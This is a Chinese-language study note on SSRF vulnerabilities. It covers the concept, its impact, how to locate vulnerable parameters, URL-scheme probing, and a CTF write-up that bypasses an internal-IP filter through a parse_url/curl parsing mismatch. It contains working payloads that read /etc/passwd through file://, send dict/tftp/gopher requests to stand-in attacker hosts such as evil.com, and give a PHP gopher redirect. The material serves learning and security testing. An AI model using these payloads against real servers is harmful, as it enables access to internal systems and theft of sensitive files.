[TOC]
SSRF漏洞学习
概念
- SSRF(Server-Side Request Forgery),服务器端请求伪造,利用漏洞伪造服务器端发起请求,从而突破客户端获取不到的数据限制。
- 一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)
- SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。
比如 : A网站,是一个所有人都可以访问的外网网站,B网站是一个他们内部的OA网站。
所以,我们普通用户只可以访问a网站,不能访问b网站。但是我们可以同过a网站做中间人,访问b网站,从而达到攻击b网站需求。
通过修改http头让a.com去访问b.com:
GET /?url=http://b.com/HTTP/1.1
HOST: a.com
作用
- 内外网的端口和服务扫描
- 主机本地敏感数据的读取(通过 url scheme (file:///, dict://, ftp://, gopher:// …) 读取内部资源或者让服务执行相应的动作)
- 内外网主机应用程序漏洞的利用
- 内外网Web站点的漏洞利用
- 反射XSS
……
故此ssrf一般评级为中高危漏洞
漏洞寻找
- 正常用户访问网站的流程是:
输入A网站URL –> 发送请求 –> A服务器接受请求(没有过滤),并处理 –>返回用户响应
【那网站有个请求是www.baidu.com/xxx.php?image=URL】
- 那么产生SSRF漏洞的环节在哪里呢?安全的网站应接收请求后,检测请求的合法性
产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致A网站可以从其他服务器的获取数据
例如
www.baidu.com/xxx.php?image=www.abc.com/1.jpg
如果存在该内网地址就会返回1xx 2xx 之类的状态码,不存在就会其他的状态码
简析: SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。
SSRF产生反射型XSS
简单的从外部网站获取一个恶意payload,并且响应类型是html格式,如:
http://localhost:4567/?url=http://brutelogic.com.br/poc.svg
利用协议进行信息探测
- 当找到一个 SSRF 时,第一件事情就是测试对应可支持的 url scheme,如:
- file://
- dict://
- sftp://
- ldap://
- tftp://
- gopher://
file://
File模式用于从文件系统中获取内容
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
dic://
当服务端禁止或者只允许白名单从外部网站请求资源,你可以通过 dic:// 模式来发送一个请求
dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源
DICT URL scheme 通过 DICT 协议引入定义或者可用的单词列表:
http://example.com/ssrf.php?dict://ad.com:1337/
sftp://
Sftp 是一个 SSH 文件传输协议或安全文件传输协议,和 SSH 打包在一起的单独协议,和 ssh 一样都是通过安全连接进行通信。
http://example.com/ssrf.php?url=sftp://ad.com:1337/
tftp://
ftfp 用来在客户机与服务器之间进行简单文件传输的协议,提供不复杂、开销不大的文件传输服务。
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
gopher://
Gopher 是一个分布式文档传输服务,允许用户以无缝的方式针对放在不同位置的文档进行浏览、查询、获取。
http://example.com/ssrf.php?url=http://ad.com/gopher.php
gopher.php (host it on ad.com):
<?php
header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>
PS: 在php中要使用gopher协议需要curl的支持
这里我用一道ctf的题目来说,题目如下:
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error1');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error2');
}
$hostname=$url_parse['host'];
echo $url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16 || ip2long('0.0.0.0')>>24 == $int_ip>>24;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_POST['url'];
if(!empty($url)){
safe_request_url($url);
}
else{
highlight_file(__file__);
}
//hint23333:
//flag in flag.php
//phpinfo in phpinfo.php
?>
check_inner_ip 通过 url_parse 检测是否为内网 ip 。
如果满足不是内网 ip ,通过 curl 请求 url 返回结果。
乍一看好像并没有利用点,跳转也做了处理,最终都要经过 check_inner_ip 函数检测。但是忽略了 php_url_parse 和 curl 同时处理 url 不同。
当处理这个地址
http://foo@example.com:80@google.com/
curl 和 php_url_parse 处理后最终的目标不一样
分析一下代码逻辑,检测是否内网 ip 通过 parse_url,而最后请求是用 curl 完成的。当遇到上面的 url 格式时,parse_url 判断的是第二个 @ 后接的地址,curl 请求的是第一个。
于是利用思路就有了,让 parse_url 处理外部网站,最后 curl 请求内网网址。
构造 payload:
http://foo@127.0.0.1:80 @www.baidu.com/flag.php
可查询到本地的文件flag.php
这个空格是为了绕过curl团队给出的一个补丁
漏洞常见位置
- 我觉得所有调外部资源的参数都有可能存在ssrf漏洞
1)分享:通过URL地址分享网页内容
2)转码服务
3)在线翻译
4)图片加载与下载:通过URL地址加载或下载图片
5)图片、文章收藏功能
6)未公开的api实现以及其他调用URL的功能
7)从URL关键字中寻找:
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
...
验证方法
因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞
在页面源码中查找访问的资源地址 ,如果该资源地址类型为 www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF漏洞